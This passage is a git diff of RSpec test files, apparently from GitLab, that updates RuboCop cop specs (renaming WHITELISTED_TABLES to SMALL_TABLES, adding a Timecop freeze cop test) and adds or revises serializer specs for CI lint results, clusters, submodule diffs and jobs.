@@ -14,7 +14,7 @@ RSpec.describe RuboCop::Cop::Migration::SaferBooleanColumn, type: :rubocop do
allow(cop).to receive(:in_migration?).and_return(true)
end
- described_class::WHITELISTED_TABLES.each do |table|
+ described_class::SMALL_TABLES.each do |table|
context "for the #{table} table" do
sources_and_offense = [
["add_column :#{table}, :column, :boolean, default: true", 'should disallow nulls'],
@@ -59,14 +59,14 @@ RSpec.describe RuboCop::Cop::Migration::SaferBooleanColumn, type: :rubocop do
end
end
- it 'registers no offense for tables not listed in WHITELISTED_TABLES' do
+ it 'registers no offense for tables not listed in SMALL_TABLES' do
inspect_source("add_column :large_table, :column, :boolean")
expect(cop.offenses).to be_empty
end
it 'registers no offense for non-boolean columns' do
- table = described_class::WHITELISTED_TABLES.sample
+ table = described_class::SMALL_TABLES.sample
inspect_source("add_column :#{table}, :column, :string")
expect(cop.offenses).to be_empty
@@ -75,7 +75,7 @@ RSpec.describe RuboCop::Cop::Migration::SaferBooleanColumn, type: :rubocop do
context 'outside of migration' do
it 'registers no offense' do
- table = described_class::WHITELISTED_TABLES.sample
+ table = described_class::SMALL_TABLES.sample
inspect_source("add_column :#{table}, :column, :boolean")
expect(cop.offenses).to be_empty
diff --git a/spec/rubocop/cop/migration/update_column_in_batches_spec.rb b/spec/rubocop/cop/migration/update_column_in_batches_spec.rb
index 5d96e8048bf..1d50d8c675e 100644
--- a/spec/rubocop/cop/migration/update_column_in_batches_spec.rb
+++ b/spec/rubocop/cop/migration/update_column_in_batches_spec.rb
@@ -1,15 +1,15 @@
# frozen_string_literal: true
-require 'spec_helper'
+require 'fast_spec_helper'
require 'rubocop'
require 'rubocop/rspec/support'
require_relative '../../../../rubocop/cop/migration/update_column_in_batches'
-RSpec.describe RuboCop::Cop::Migration::UpdateColumnInBatches do
+RSpec.describe RuboCop::Cop::Migration::UpdateColumnInBatches, type: :rubocop do
let(:cop) { described_class.new }
- let(:tmp_rails_root) { Rails.root.join('tmp', 'rails_root') }
+ let(:tmp_rails_root) { rails_root_join('tmp', 'rails_root') }
let(:migration_code) do
<<-END
def up
@@ -27,6 +27,8 @@ RSpec.describe RuboCop::Cop::Migration::UpdateColumnInBatches do
FileUtils.rm_rf(tmp_rails_root)
end
+ let(:spec_filepath) { File.join(tmp_rails_root, 'spec', 'migrations', 'my_super_migration_spec.rb') }
+
context 'outside of a migration' do
it 'does not register any offenses' do
inspect_source(migration_code)
@@ -35,8 +37,6 @@ RSpec.describe RuboCop::Cop::Migration::UpdateColumnInBatches do
end
end
- let(:spec_filepath) { tmp_rails_root.join('spec', 'migrations', 'my_super_migration_spec.rb') }
-
shared_context 'with a migration file' do
before do
FileUtils.mkdir_p(File.dirname(migration_filepath))
@@ -83,31 +83,31 @@ RSpec.describe RuboCop::Cop::Migration::UpdateColumnInBatches do
end
context 'in a migration' do
- let(:migration_filepath) { tmp_rails_root.join('db', 'migrate', '20121220064453_my_super_migration.rb') }
+ let(:migration_filepath) { File.join(tmp_rails_root, 'db', 'migrate', '20121220064453_my_super_migration.rb') }
it_behaves_like 'a migration file with no spec file'
it_behaves_like 'a migration file with a spec file'
end
context 'in a post migration' do
- let(:migration_filepath) { tmp_rails_root.join('db', 'post_migrate', '20121220064453_my_super_migration.rb') }
+ let(:migration_filepath) { File.join(tmp_rails_root, 'db', 'post_migrate', '20121220064453_my_super_migration.rb') }
it_behaves_like 'a migration file with no spec file'
it_behaves_like 'a migration file with a spec file'
end
context 'EE migrations' do
- let(:spec_filepath) { tmp_rails_root.join('ee', 'spec', 'migrations', 'my_super_migration_spec.rb') }
+ let(:spec_filepath) { File.join(tmp_rails_root, 'ee', 'spec', 'migrations', 'my_super_migration_spec.rb') }
context 'in a migration' do
- let(:migration_filepath) { tmp_rails_root.join('ee', 'db', 'migrate', '20121220064453_my_super_migration.rb') }
+ let(:migration_filepath) { File.join(tmp_rails_root, 'ee', 'db', 'migrate', '20121220064453_my_super_migration.rb') }
it_behaves_like 'a migration file with no spec file'
it_behaves_like 'a migration file with a spec file'
end
context 'in a post migration' do
- let(:migration_filepath) { tmp_rails_root.join('ee', 'db', 'post_migrate', '20121220064453_my_super_migration.rb') }
+ let(:migration_filepath) { File.join(tmp_rails_root, 'ee', 'db', 'post_migrate', '20121220064453_my_super_migration.rb') }
it_behaves_like 'a migration file with no spec file'
it_behaves_like 'a migration file with a spec file'
diff --git a/spec/rubocop/cop/put_group_routes_under_scope_spec.rb b/spec/rubocop/cop/put_group_routes_under_scope_spec.rb
index c55d9bf22d6..888d1b6a2ba 100644
--- a/spec/rubocop/cop/put_group_routes_under_scope_spec.rb
+++ b/spec/rubocop/cop/put_group_routes_under_scope_spec.rb
@@ -46,4 +46,18 @@ RSpec.describe RuboCop::Cop::PutGroupRoutesUnderScope, type: :rubocop do
end
PATTERN
end
+
+ it 'does not register an offense for the root route' do
+ expect_no_offenses(<<~PATTERN)
+ get '/'
+ PATTERN
+ end
+
+ it 'does not register an offense for the root route within scope' do
+ expect_no_offenses(<<~PATTERN)
+ scope(path: 'groups/*group_id/-', module: :groups) do
+ get '/'
+ end
+ PATTERN
+ end
end
diff --git a/spec/rubocop/cop/put_project_routes_under_scope_spec.rb b/spec/rubocop/cop/put_project_routes_under_scope_spec.rb
index 05e1cd7b693..eebb7f3eb61 100644
--- a/spec/rubocop/cop/put_project_routes_under_scope_spec.rb
+++ b/spec/rubocop/cop/put_project_routes_under_scope_spec.rb
@@ -46,4 +46,18 @@ RSpec.describe RuboCop::Cop::PutProjectRoutesUnderScope, type: :rubocop do
end
PATTERN
end
+
+ it 'does not register an offense for the root route' do
+ expect_no_offenses(<<~PATTERN)
+ get '/'
+ PATTERN
+ end
+
+ it 'does not register an offense for the root route within scope' do
+ expect_no_offenses(<<~PATTERN)
+ scope '-' do
+ get '/'
+ end
+ PATTERN
+ end
end
diff --git a/spec/rubocop/cop/rspec/timecop_freeze_spec.rb b/spec/rubocop/cop/rspec/timecop_freeze_spec.rb
new file mode 100644
index 00000000000..3809431a2fc
--- /dev/null
+++ b/spec/rubocop/cop/rspec/timecop_freeze_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+require 'rubocop'
+require 'rubocop/rspec/support'
+
+require_relative '../../../../rubocop/cop/rspec/timecop_freeze'
+
+RSpec.describe RuboCop::Cop::RSpec::TimecopFreeze, type: :rubocop do
+ include CopHelper
+
+ subject(:cop) { described_class.new }
+
+ context 'when calling Timecop.freeze' do
+ let(:source) do
+ <<~SRC
+ Timecop.freeze(Time.current) { example.run }
+ SRC
+ end
+
+ let(:corrected_source) do
+ <<~SRC
+ freeze_time(Time.current) { example.run }
+ SRC
+ end
+
+ it 'registers an offence' do
+ inspect_source(source)
+
+ expect(cop.offenses.size).to eq(1)
+ end
+
+ it 'can autocorrect the source' do
+ expect(autocorrect_source(source)).to eq(corrected_source)
+ end
+ end
+
+ context 'when calling a different method on Timecop' do
+ let(:source) do
+ <<~SRC
+ Timecop.travel(Time.current)
+ SRC
+ end
+
+ it 'does not register an offence' do
+ inspect_source(source)
+
+ expect(cop.offenses).to be_empty
+ end
+ end
+end
diff --git a/spec/rubocop/cop/static_translation_definition_spec.rb b/spec/rubocop/cop/static_translation_definition_spec.rb
index b6c9f6a25df..f3185def3d7 100644
--- a/spec/rubocop/cop/static_translation_definition_spec.rb
+++ b/spec/rubocop/cop/static_translation_definition_spec.rb
@@ -40,6 +40,17 @@ RSpec.describe RuboCop::Cop::StaticTranslationDefinition, type: :rubocop do
['C = n_("c")', 'n_("c")', 1],
[
<<~CODE,
+ class MyClass
+ def self.translations
+ @cache ||= { hello: _("hello") }
+ end
+ end
+ CODE
+ '_("hello")',
+ 3
+ ],
+ [
+ <<~CODE,
module MyModule
A = {
b: {
@@ -79,6 +90,20 @@ RSpec.describe RuboCop::Cop::StaticTranslationDefinition, type: :rubocop do
'CONSTANT_2 = s__("a")',
'CONSTANT_3 = n__("a")',
<<~CODE,
+ class MyClass
+ def self.method
+ @cache ||= { hello: -> { _("hello") } }
+ end
+ end
+ CODE
+ <<~CODE,
+ class MyClass
+ def method
+ @cache ||= { hello: _("hello") }
+ end
+ end
+ CODE
+ <<~CODE,
def method
s_('a')
end
diff --git a/spec/rubocop/cop/usage_data/distinct_count_by_large_foreign_key_spec.rb b/spec/rubocop/cop/usage_data/distinct_count_by_large_foreign_key_spec.rb
index db931c50bdf..8b6a2eac349 100644
--- a/spec/rubocop/cop/usage_data/distinct_count_by_large_foreign_key_spec.rb
+++ b/spec/rubocop/cop/usage_data/distinct_count_by_large_foreign_key_spec.rb
@@ -10,7 +10,7 @@ require_relative '../../../../rubocop/cop/usage_data/distinct_count_by_large_for
RSpec.describe RuboCop::Cop::UsageData::DistinctCountByLargeForeignKey, type: :rubocop do
include CopHelper
- let(:allowed_foreign_keys) { %i[author_id user_id] }
+ let(:allowed_foreign_keys) { [:author_id, :user_id, :'merge_requests.target_project_id'] }
let(:config) do
RuboCop::Config.new('UsageData/DistinctCountByLargeForeignKey' => {
@@ -21,18 +21,36 @@ RSpec.describe RuboCop::Cop::UsageData::DistinctCountByLargeForeignKey, type: :r
subject(:cop) { described_class.new(config) }
context 'when counting by disallowed key' do
- it 'register an offence' do
+ it 'registers an offence' do
inspect_source('distinct_count(Issue, :creator_id)')
expect(cop.offenses.size).to eq(1)
end
+
+ it 'does not register an offence when batch is false' do
+ inspect_source('distinct_count(Issue, :creator_id, batch: false)')
+
+ expect(cop.offenses).to be_empty
+ end
+
+ it 'register an offence when batch is true' do
+ inspect_source('distinct_count(Issue, :creator_id, batch: true)')
+
+ expect(cop.offenses.size).to eq(1)
+ end
end
context 'when calling by allowed key' do
- it 'does not register an offence' do
+ it 'does not register an offence with symbol' do
inspect_source('distinct_count(Issue, :author_id)')
expect(cop.offenses).to be_empty
end
+
+ it 'does not register an offence with string' do
+ inspect_source("distinct_count(Issue, 'merge_requests.target_project_id')")
+
+ expect(cop.offenses).to be_empty
+ end
end
end
diff --git a/spec/serializers/analytics_build_entity_spec.rb b/spec/serializers/analytics_build_entity_spec.rb
index 20bd017d1cf..09804681f5d 100644
--- a/spec/serializers/analytics_build_entity_spec.rb
+++ b/spec/serializers/analytics_build_entity_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe AnalyticsBuildEntity do
subject { entity.as_json }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'contains the URL' do
diff --git a/spec/serializers/build_details_entity_spec.rb b/spec/serializers/build_details_entity_spec.rb
index 3166c08ff4e..5d29452e91c 100644
--- a/spec/serializers/build_details_entity_spec.rb
+++ b/spec/serializers/build_details_entity_spec.rb
@@ -188,25 +188,31 @@ RSpec.describe BuildDetailsEntity do
context 'when the build has expired artifacts' do
let!(:build) { create(:ci_build, :artifacts, artifacts_expire_at: 7.days.ago) }
- it 'does not expose any artifact actions path' do
- expect(subject[:artifact].keys).not_to include(:download_path, :browse_path, :keep_path)
- end
+ context 'when pipeline is unlocked' do
+ before do
+ build.pipeline.unlocked!
+ end
+
+ it 'artifact locked is false' do
+ expect(subject.dig(:artifact, :locked)).to eq(false)
+ end
- it 'artifact locked is false' do
- expect(subject.dig(:artifact, :locked)).to eq(false)
+ it 'does not expose any artifact actions path' do
+ expect(subject[:artifact].keys).not_to include(:download_path, :browse_path, :keep_path)
+ end
end
context 'when the pipeline is artifacts_locked' do
before do
- build.pipeline.update!(locked: :artifacts_locked)
+ build.pipeline.artifacts_locked!
end
it 'artifact locked is true' do
expect(subject.dig(:artifact, :locked)).to eq(true)
end
- it 'exposes download and browse artifact actions path' do
- expect(subject[:artifact].keys).to include(:download_path, :browse_path)
+ it 'exposes download, browse and keep artifact actions path' do
+ expect(subject[:artifact].keys).to include(:download_path, :browse_path, :keep_path)
end
end
end
diff --git a/spec/serializers/ci/lint/job_entity_spec.rb b/spec/serializers/ci/lint/job_entity_spec.rb
new file mode 100644
index 00000000000..2ef86cfd004
--- /dev/null
+++ b/spec/serializers/ci/lint/job_entity_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::Lint::JobEntity, :aggregate_failures do
+ describe '#represent' do
+ let(:job) do
+ {
+ name: 'rspec',
+ stage: 'test',
+ before_script: ['bundle install', 'bundle exec rake db:create'],
+ script: ["rake spec"],
+ after_script: ["rake spec"],
+ tag_list: %w[ruby postgres],
+ environment: { name: 'hello', url: 'world' },
+ when: 'on_success',
+ allow_failure: false,
+ except: { refs: ["branches"] },
+ only: { refs: ["branches"] },
+ variables: { hello: 'world' }
+ }
+ end
+
+ subject(:serialized_job_result) { described_class.new(job).as_json }
+
+ it 'exposes job data' do
+ expect(serialized_job_result.keys).to contain_exactly(
+ :name,
+ :stage,
+ :before_script,
+ :script,
+ :after_script,
+ :tag_list,
+ :environment,
+ :when,
+ :allow_failure,
+ :only,
+ :except
+ )
+ expect(serialized_job_result.keys).not_to include(:variables)
+ end
+ end
+end
diff --git a/spec/serializers/ci/lint/result_entity_spec.rb b/spec/serializers/ci/lint/result_entity_spec.rb
new file mode 100644
index 00000000000..7b5465a3649
--- /dev/null
+++ b/spec/serializers/ci/lint/result_entity_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::Lint::ResultEntity do
+ describe '#represent' do
+ let(:yaml_content) { YAML.dump({ rspec: { script: 'test', tags: 'mysql' } }) }
+ let(:result) { Gitlab::Ci::YamlProcessor.new(yaml_content).execute }
+
+ subject(:serialized_linting_result) { described_class.new(result).as_json }
+
+ it 'serializes with lint result entity' do
+ expect(serialized_linting_result.keys).to include(:valid, :errors, :jobs, :warnings)
+ end
+ end
+end
diff --git a/spec/serializers/ci/lint/result_serializer_spec.rb b/spec/serializers/ci/lint/result_serializer_spec.rb
new file mode 100644
index 00000000000..7aa95a574bf
--- /dev/null
+++ b/spec/serializers/ci/lint/result_serializer_spec.rb
@@ -0,0 +1,261 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::Lint::ResultSerializer, :aggregate_failures do
+ let_it_be(:project) { create(:project, :repository) }
+ let(:result) do
+ Gitlab::Ci::Lint
+ .new(project: project, current_user: project.owner)
+ .validate(yaml_content, dry_run: false)
+ end
+
+ let(:first_job) { linting_result[:jobs].first }
+ let(:serialized_linting_result) { linting_result.to_json }
+
+ subject(:linting_result) { described_class.new.represent(result) }
+
+ shared_examples 'matches schema' do
+ it { expect(serialized_linting_result).to match_schema('entities/lint_result_entity') }
+ end
+
+ context 'when config is invalid' do
+ let(:yaml_content) { YAML.dump({ rspec: { script: 'test', tags: 'mysql' } }) }
+
+ it_behaves_like 'matches schema'
+
+ it 'returns expected validity' do
+ expect(linting_result[:valid]).to eq(false)
+ expect(linting_result[:errors]).to eq(['jobs:rspec:tags config should be an array of strings'])
+ expect(linting_result[:warnings]).to eq([])
+ end
+
+ it 'returns job data' do
+ expect(linting_result[:jobs]).to eq([])
+ end
+ end
+
+ context 'when config is valid' do
+ let(:yaml_content) { File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci.yml')) }
+
+ it_behaves_like 'matches schema'
+
+ it 'returns expected validity' do
+ expect(linting_result[:valid]).to eq(true)
+ expect(linting_result[:errors]).to eq([])
+ expect(linting_result[:warnings]).to eq([])
+ end
+
+ it 'returns job data' do
+ expect(first_job[:name]).to eq('rspec')
+ expect(first_job[:stage]).to eq('test')
+ expect(first_job[:before_script]).to eq(['bundle install', 'bundle exec rake db:create'])
+ expect(first_job[:script]).to eq(['rake spec'])
+ expect(first_job[:after_script]).to eq([])
+ expect(first_job[:tag_list]).to eq(%w[ruby postgres])
+ expect(first_job[:environment]).to eq(nil)
+ expect(first_job[:when]).to eq('on_success')
+ expect(first_job[:allow_failure]).to eq(false)
+ expect(first_job[:only]).to eq(refs: ['branches'])
+ expect(first_job[:except]).to eq(nil)
+ end
+
+ context 'when dry run is enabled' do
+ let(:result) do
+ Gitlab::Ci::Lint
+ .new(project: project, current_user: project.owner)
+ .validate(yaml_content, dry_run: true)
+ end
+
+ it_behaves_like 'matches schema'
+
+ it 'returns expected validity' do
+ expect(linting_result[:valid]).to eq(true)
+ expect(linting_result[:errors]).to eq([])
+ expect(linting_result[:warnings]).to eq([])
+ end
+
+ it 'returns job data' do
+ expect(first_job[:name]).to eq('rspec')
+ expect(first_job[:stage]).to eq('test')
+ expect(first_job[:before_script]).to eq(['bundle install', 'bundle exec rake db:create'])
+ expect(first_job[:script]).to eq(['rake spec'])
+ expect(first_job[:after_script]).to eq([])
+ expect(first_job[:tag_list]).to eq(%w[ruby postgres])
+ expect(first_job[:environment]).to eq(nil)
+ expect(first_job[:when]).to eq('on_success')
+ expect(first_job[:allow_failure]).to eq(false)
+ expect(first_job[:only]).to eq(nil)
+ expect(first_job[:except]).to eq(nil)
+ end
+ end
+
+ context 'when only is not nil in the yaml' do
+ context 'when only: is hash' do
+ let(:yaml_content) do
+ <<~YAML
+ build:
+ stage: build
+ script: echo
+ only:
+ refs:
+ - branches
+ YAML
+ end
+
+ it_behaves_like 'matches schema'
+
+ it 'renders only:refs as hash' do
+ expect(first_job[:only]).to eq(refs: ['branches'])
+ end
+ end
+
+ context 'when only is an array of strings in the yaml' do
+ let(:yaml_content) do
+ <<~YAML
+ build:
+ stage: build
+ script: echo
+ only:
+ - pushes
+ YAML
+ end
+
+ it_behaves_like 'matches schema'
+
+ it 'renders only: list as hash' do
+ expect(first_job[:only]).to eq(refs: ['pushes'])
+ end
+ end
+ end
+
+ context 'when except is not nil in the yaml' do
+ context 'when except: is hash' do
+ let(:yaml_content) do
+ <<~YAML
+ build:
+ stage: build
+ script: echo
+ except:
+ refs:
+ - branches
+ YAML
+ end
+
+ it_behaves_like 'matches schema'
+
+ it 'renders except as hash' do
+ expect(first_job[:except]).to eq(refs: ['branches'])
+ end
+ end
+
+ context 'when except is an array of strings in the yaml' do
+ let(:yaml_content) do
+ <<~YAML
+ build:
+ stage: build
+ script: echo
+ except:
+ - pushes
+ YAML
+ end
+
+ it_behaves_like 'matches schema'
+
+ it 'renders only: list as hash' do
+ expect(first_job[:except]).to eq(refs: ['pushes'])
+ end
+ end
+
+ context 'with minimal job configuration' do
+ let(:yaml_content) do
+ <<~YAML
+ build:
+ stage: build
+ script: echo
+ YAML
+ end
+
+ it_behaves_like 'matches schema'
+
+ it 'renders the job with defaults' do
+ expect(first_job[:name]).to eq('build')
+ expect(first_job[:stage]).to eq('build')
+ expect(first_job[:before_script]).to eq([])
+ expect(first_job[:script]).to eq(['echo'])
+ expect(first_job[:after_script]).to eq([])
+ expect(first_job[:tag_list]).to eq([])
+ expect(first_job[:environment]).to eq(nil)
+ expect(first_job[:when]).to eq('on_success')
+ expect(first_job[:allow_failure]).to eq(false)
+ expect(first_job[:only]).to eq(refs: %w[branches tags])
+ expect(first_job[:except]).to eq(nil)
+ end
+ end
+
+ context 'with environment defined' do
+ context 'when formatted as a hash in yaml' do
+ let(:yaml_content) do
+ <<~YAML
+ build:
+ stage: build
+ script: echo
+ environment:
+ name: production
+ url: https://example.com
+ YAML
+ end
+
+ it_behaves_like 'matches schema'
+
+ it 'renders the environment as a string' do
+ expect(first_job[:environment]).to eq('production')
+ end
+ end
+
+ context 'when formatted as a string in yaml' do
+ let(:yaml_content) do
+ <<~YAML
+ build:
+ stage: build
+ script: echo
+ environment: production
+ YAML
+ end
+
+ it_behaves_like 'matches schema'
+
+ it 'renders the environment as a string' do
+ expect(first_job[:environment]).to eq('production')
+ end
+ end
+ end
+
+ context 'when script values are formatted as arrays in the yaml' do
+ let(:yaml_content) do
+ <<~YAML
+ build:
+ stage: build
+ before_script:
+ - echo
+ - cat '~/.zshrc'
+ script:
+ - echo
+ - cat '~/.zshrc'
+ after_script:
+ - echo
+ - cat '~/.zshrc'
+ YAML
+ end
+
+ it_behaves_like 'matches schema'
+
+ it 'renders the scripts as arrays' do
+ expect(first_job[:before_script]).to eq(['echo', "cat '~/.zshrc'"])
+ expect(first_job[:script]).to eq(['echo', "cat '~/.zshrc'"])
+ expect(first_job[:after_script]).to eq(['echo', "cat '~/.zshrc'"])
+ end
+ end
+ end
+ end
+end
diff --git a/spec/serializers/cluster_entity_spec.rb b/spec/serializers/cluster_entity_spec.rb
index 223d37b6acd..10c6bc0e42a 100644
--- a/spec/serializers/cluster_entity_spec.rb
+++ b/spec/serializers/cluster_entity_spec.rb
@@ -78,5 +78,26 @@ RSpec.describe ClusterEntity do
expect(subject[:gitlab_managed_apps_logs_path]).to eq(log_explorer_path)
end
end
+
+ context 'enable_advanced_logs_querying' do
+ let(:cluster) { create(:cluster, :project) }
+ let(:user) { create(:user) }
+
+ subject { described_class.new(cluster, request: request).as_json }
+
+ context 'elastic stack is not installed on cluster' do
+ it 'returns false' do
+ expect(subject[:enable_advanced_logs_querying]).to be false
+ end
+ end
+
+ context 'elastic stack is installed on cluster' do
+ it 'returns true' do
+ create(:clusters_applications_elastic_stack, :installed, cluster: cluster)
+
+ expect(subject[:enable_advanced_logs_querying]).to be true
+ end
+ end
+ end
end
end
diff --git a/spec/serializers/cluster_serializer_spec.rb b/spec/serializers/cluster_serializer_spec.rb
index f34409c3cfb..04999975276 100644
--- a/spec/serializers/cluster_serializer_spec.rb
+++ b/spec/serializers/cluster_serializer_spec.rb
@@ -14,6 +14,7 @@ RSpec.describe ClusterSerializer do
:enabled,
:environment_scope,
:gitlab_managed_apps_logs_path,
+ :enable_advanced_logs_querying,
:kubernetes_errors,
:name,
:nodes,
diff --git a/spec/serializers/diff_file_base_entity_spec.rb b/spec/serializers/diff_file_base_entity_spec.rb
index bf69a50a072..94c39e11790 100644
--- a/spec/serializers/diff_file_base_entity_spec.rb
+++ b/spec/serializers/diff_file_base_entity_spec.rb
@@ -7,21 +7,50 @@ RSpec.describe DiffFileBaseEntity do
let(:repository) { project.repository }
let(:entity) { described_class.new(diff_file, options).as_json }
- context 'diff for a changed submodule' do
- let(:commit_sha_with_changed_submodule) do
- "cfe32cf61b73a0d5e9f13e774abde7ff789b1660"
- end
-
- let(:commit) { project.commit(commit_sha_with_changed_submodule) }
+ context 'submodule information for a' do
+ let(:commit_sha) { "" }
+ let(:commit) { project.commit(commit_sha) }
let(:options) { { request: {}, submodule_links: Gitlab::SubmoduleLinks.new(repository) } }
let(:diff_file) { commit.diffs.diff_files.to_a.last }
- it do
- expect(entity[:submodule]).to eq(true)
- expect(entity[:submodule_link]).to eq("https://github.com/randx/six")
- expect(entity[:submodule_tree_url]).to eq(
- "https://github.com/randx/six/tree/409f37c4f05865e4fb208c771485f211a22c4c2d"
- )
+ context 'newly added submodule' do
+ let(:commit_sha) { "cfe32cf61b73a0d5e9f13e774abde7ff789b1660" }
+
+ it 'says it is a submodule and contains links' do
+ expect(entity[:submodule]).to eq(true)
+ expect(entity[:submodule_link]).to eq("https://github.com/randx/six")
+ expect(entity[:submodule_tree_url]).to eq(
+ "https://github.com/randx/six/tree/409f37c4f05865e4fb208c771485f211a22c4c2d"
+ )
+ end
+
+ it 'has no compare url because the submodule was newly added' do
+ expect(entity[:submodule_compare]).to eq(nil)
+ end
+ end
+
+ context 'changed submodule' do
+ # Test repo does not contain a commit that changes a submodule, so we have create such a commit here
+ let(:commit_sha) { repository.update_submodule(project.members[0].user, "six", "c6bc3aa2ee76cadaf0cbd325067c55450997632e", message: "Go one commit back", branch: "master") }
+
+ it 'contains a link to compare the changes' do
+ expect(entity[:submodule_compare]).to eq(
+ {
+ url: "https://github.com/randx/six/compare/409f37c4f05865e4fb208c771485f211a22c4c2d...c6bc3aa2ee76cadaf0cbd325067c55450997632e",
+ old_sha: "409f37c4f05865e4fb208c771485f211a22c4c2d",
+ new_sha: "c6bc3aa2ee76cadaf0cbd325067c55450997632e"
+ }
+ )
+ end
+ end
+
+ context 'normal file (no submodule)' do
+ let(:commit_sha) { '570e7b2abdd848b95f2f578043fc23bd6f6fd24d' }
+
+ it 'sets submodule to false' do
+ expect(entity[:submodule]).to eq(false)
+ expect(entity[:submodule_compare]).to eq(nil)
+ end
end
end
diff --git a/spec/serializers/environment_entity_spec.rb b/spec/serializers/environment_entity_spec.rb
index c969638614e..c90f771335e 100644
--- a/spec/serializers/environment_entity_spec.rb
+++ b/spec/serializers/environment_entity_spec.rb
@@ -82,26 +82,6 @@ RSpec.describe EnvironmentEntity do
end
end
- context 'with alert' do
- let!(:environment) { create(:environment, project: project) }
- let!(:prometheus_alert) { create(:prometheus_alert, project: project, environment: environment) }
- let!(:alert) { create(:alert_management_alert, :triggered, :prometheus, project: project, environment: environment, prometheus_alert: prometheus_alert) }
-
- it 'exposes active alert flag' do
- project.add_maintainer(user)
-
- expect(subject[:has_opened_alert]).to eq(true)
- end
-
- context 'when user does not have permission to read alert' do
- it 'does not expose active alert flag' do
- project.add_reporter(user)
-
- expect(subject[:has_opened_alert]).to be_nil
- end
- end
- end
-
context 'pod_logs' do
context 'with reporter access' do
before do
diff --git a/spec/serializers/environment_status_entity_spec.rb b/spec/serializers/environment_status_entity_spec.rb
index a940c4b465e..77ef06f90c2 100644
--- a/spec/serializers/environment_status_entity_spec.rb
+++ b/spec/serializers/environment_status_entity_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe EnvironmentStatusEntity do
subject { entity.as_json }
before do
- deployment.update(sha: merge_request.diff_head_sha)
+ deployment.update!(sha: merge_request.diff_head_sha)
allow(request).to receive(:current_user).and_return(user)
end
diff --git a/spec/serializers/fork_namespace_entity_spec.rb b/spec/serializers/fork_namespace_entity_spec.rb
index 7ce6b77da44..7740ed77540 100644
--- a/spec/serializers/fork_namespace_entity_spec.rb
+++ b/spec/serializers/fork_namespace_entity_spec.rb
@@ -8,13 +8,17 @@ RSpec.describe ForkNamespaceEntity do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
+ let_it_be(:namespace) { create(:group, :with_avatar, description: 'test') }
+ let(:memberships) do
+ user.members.index_by(&:source_id)
+ end
- let(:namespace) { create(:group, :with_avatar, description: 'test') }
- let(:entity) { described_class.new(namespace, current_user: user, project: project) }
+ let(:entity) { described_class.new(namespace, current_user: user, project: project, memberships: memberships) }
subject(:json) { entity.as_json }
before do
+ namespace.add_developer(user)
project.add_maintainer(user)
end
@@ -52,7 +56,6 @@ RSpec.describe ForkNamespaceEntity do
end
it 'exposes human readable permission level' do
- namespace.add_developer(user)
expect(json[:permission]).to eql 'Developer'
end
diff --git a/spec/serializers/group_group_link_entity_spec.rb b/spec/serializers/group_group_link_entity_spec.rb
new file mode 100644
index 00000000000..8384563e3e6
--- /dev/null
+++ b/spec/serializers/group_group_link_entity_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GroupGroupLinkEntity do
+ include_context 'group_group_link'
+
+ subject(:json) { described_class.new(group_group_link).to_json }
+
+ it 'matches json schema' do
+ expect(json).to match_schema('entities/group_group_link')
+ end
+end
diff --git a/spec/serializers/group_group_link_serializer_spec.rb b/spec/serializers/group_group_link_serializer_spec.rb
new file mode 100644
index 00000000000..0d977ea0a9a
--- /dev/null
+++ b/spec/serializers/group_group_link_serializer_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GroupGroupLinkSerializer do
+ include_context 'group_group_link'
+
+ subject(:json) { described_class.new.represent(shared_group.shared_with_group_links).to_json }
+
+ it 'matches json schema' do
+ expect(json).to match_schema('group_group_links')
+ end
+end
diff --git a/spec/serializers/issue_entity_spec.rb b/spec/serializers/issue_entity_spec.rb
index 5c5ac184778..82ea26fae40 100644
--- a/spec/serializers/issue_entity_spec.rb
+++ b/spec/serializers/issue_entity_spec.rb
@@ -112,7 +112,7 @@ RSpec.describe IssueEntity do
context 'when project is archived' do
before do
- project.update(archived: true)
+ project.update!(archived: true)
end
it 'returns archived true' do
diff --git a/spec/serializers/issue_serializer_spec.rb b/spec/serializers/issue_serializer_spec.rb
index a51297d6d80..491e2f0835b 100644
--- a/spec/serializers/issue_serializer_spec.rb
+++ b/spec/serializers/issue_serializer_spec.rb
@@ -3,8 +3,9 @@
require 'spec_helper'
RSpec.describe IssueSerializer do
- let(:resource) { create(:issue) }
- let(:user) { create(:user) }
+ let_it_be(:resource) { create(:issue) }
+ let_it_be(:user) { create(:user) }
+
let(:json_entity) do
described_class.new(current_user: user)
.represent(resource, serializer: serializer)
diff --git a/spec/serializers/job_entity_spec.rb b/spec/serializers/job_entity_spec.rb
index 02262be9511..1cbf1914c0c 100644
--- a/spec/serializers/job_entity_spec.rb
+++ b/spec/serializers/job_entity_spec.rb
@@ -45,7 +45,7 @@ RSpec.describe JobEntity do
context 'when job is retryable' do
before do
- job.update(status: :failed)
+ job.update!(status: :failed)
end
it 'contains cancel path' do
@@ -55,7 +55,7 @@ RSpec.describe JobEntity do
context 'when job is cancelable' do
before do
- job.update(status: :running)
+ job.update!(status: :running)
end
it 'contains cancel path' do
@@ -218,4 +218,16 @@ RSpec.describe JobEntity do
expect(subject).not_to include('recoverable')
end
end
+
+ context 'when job is a bridge' do
+ let(:job) { create(:ci_bridge) }
+
+ it 'does not include build path' do
+ expect(subject).not_to include(:build_path)
+ end
+
+ it 'does not include cancel path' do
+ expect(subject).not_to include(:cancel_path)
+ end
+ end
end
diff --git a/spec/serializers/linked_project_issue_entity_spec.rb b/spec/serializers/linked_project_issue_entity_spec.rb
new file mode 100644
index 00000000000..864b5c45599
--- /dev/null
+++ b/spec/serializers/linked_project_issue_entity_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe LinkedProjectIssueEntity do
+ let_it_be(:user) { create(:user) }
